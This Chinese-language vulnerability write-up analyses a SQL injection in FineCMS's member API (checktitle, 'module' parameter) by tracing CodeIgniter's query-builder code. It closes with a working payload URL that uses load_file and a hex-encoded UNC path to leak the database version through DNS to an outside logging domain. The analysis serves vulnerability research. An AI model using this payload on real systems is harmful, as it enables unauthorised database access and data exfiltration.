漏洞位置在:
finecms/dayrui/controllers/member/Api.php 590行左右

public function checktitle() {
    $id = (int)$this->input->get('id');
    $title = $this->input->get('title', TRUE);
    $module = $this->input->get('module');
    (!$title || !$module) && exit('');
    $num = $this->db->where('id<>', $id)->where('title', $title)->count_all_results(SITE_ID.'_'.$module);
    $num ? exit(fc_lang('<font color=red>'.fc_lang('重复').'</font>')) : exit('');
}

可以看到方法count_all_results()使用了$module,count_all_results()方法如下:

public function count_all_results($table = '', $reset = TRUE)
    {
        if ($table !== '')
        {
            $this->_track_aliases($table);
            $this->from($table);
        }

        // ORDER BY usage is often problematic here (most notably
        // on Microsoft SQL Server) and ultimately unnecessary
        // for selecting COUNT(*) ...
        if ( ! empty($this->qb_orderby))
        {
            $orderby = $this->qb_orderby;
            $this->qb_orderby = NULL;
        }

        $result = ($this->qb_distinct === TRUE OR ! empty($this->qb_groupby) OR ! empty($this->qb_cache_groupby) OR $this->qb_limit OR $this->qb_offset)
            ? $this->query($this->_count_string.$this->protect_identifiers('numrows')."\nFROM (\n".$this->_compile_select()."\n) CI_count_all_results")
            : $this->query($this->_compile_select($this->_count_string.$this->protect_identifiers('numrows')));

        if ($reset === TRUE)
        {
            $this->_reset_select();
        }
        // If we've previously reset the qb_orderby values, get them back
        elseif ( ! isset($this->qb_orderby))
        {
            $this->qb_orderby = $orderby;
        }

        if ($result->num_rows() === 0)
        {
            return 0;
        }

        $row = $result->row();
        return (int) $row->numrows;
    }

可以看到对传入的table参数进行了是否为空校验以及经过两个函数的处理,再跟进_track_aliases函数继续进行分析:

protected function _track_aliases($table)
    {
        if (is_array($table))
        {
            foreach ($table as $t)
            {
                $this->_track_aliases($t);
            }
            return;
        }

        // Does the string contain a comma?  If so, we need to separate
        // the string into discreet statements
        if (strpos($table, ',') !== FALSE)
        {
            return $this->_track_aliases(explode(',', $table));
        }

        // if a table alias is used we can recognize it by a space
        if (strpos($table, ' ') !== FALSE)
        {
            // if the alias is written with the AS keyword, remove it
            $table = preg_replace('/\s+AS\s+/i', ' ', $table);

            // Grab the alias
            $table = trim(strrchr($table, ' '));

            // Store the alias, if it doesn't already exist
            if ( ! in_array($table, $this->qb_aliased_tables, TRUE))
            {
                $this->qb_aliased_tables[] = $table;
                if ($this->qb_caching === TRUE && ! in_array($table, $this->qb_cache_aliased_tables, TRUE))
                {
                    $this->qb_cache_aliased_tables[] = $table;
                    $this->qb_cache_exists[] = 'aliased_tables';
                }
            }
        }
    }

可以看到table在这个函数中经过了较多过滤,继续看下一个函数from:

public function from($from)
    {
        foreach ((array) $from as $val)
        {
            if (strpos($val, ',') !== FALSE)
            {
                foreach (explode(',', $val) as $v)
                {
                    $v = trim($v);
                    $this->_track_aliases($v);
                    $this->qb_from[] = $v = $this->protect_identifiers($v, TRUE, NULL, FALSE);
                    if ($this->qb_caching === TRUE)
                    {
                        $this->qb_cache_from[] = $v;
                        $this->qb_cache_exists[] = 'from';
                    }
                }
            }
            else
            {
                $val = trim($val);
                // Extract any aliases that might exist. We use this information
                // in the protect_identifiers to know whether to add a table prefix
                $this->_track_aliases($val);
                $this->qb_from[] = $val = $this->protect_identifiers($val, TRUE, NULL, FALSE);
                if ($this->qb_caching === TRUE)
                {
                    $this->qb_cache_from[] = $val;
                    $this->qb_cache_exists[] = 'from';
                }
            }
        }
        return $this;
    }

可以看到经过这两个函数以及finecms本身get方法的过滤,能用的符号不多了,但是括号以及逗号都还能使用。

在测试的时候,如果传入的参数比如:module=1,则会爆表不存在的错误,并且可以看到查询的语句,而module参数位于from位置,也就是查询的表的位置,于是使用逗号分割查询的表,并使用dns外带数据,payload形如:

http://localhost/index.php?s=member&c=api&m=checktitle&id=13&title=123&module=news,(select load_file(concat(0x5c5c5c5c,version(),0x2e6d7973716c2e61687a6935672e636579652e696f5c5c616263)))) as total

可以看到dns信息带出了版本信息

源链接

Hacking more

...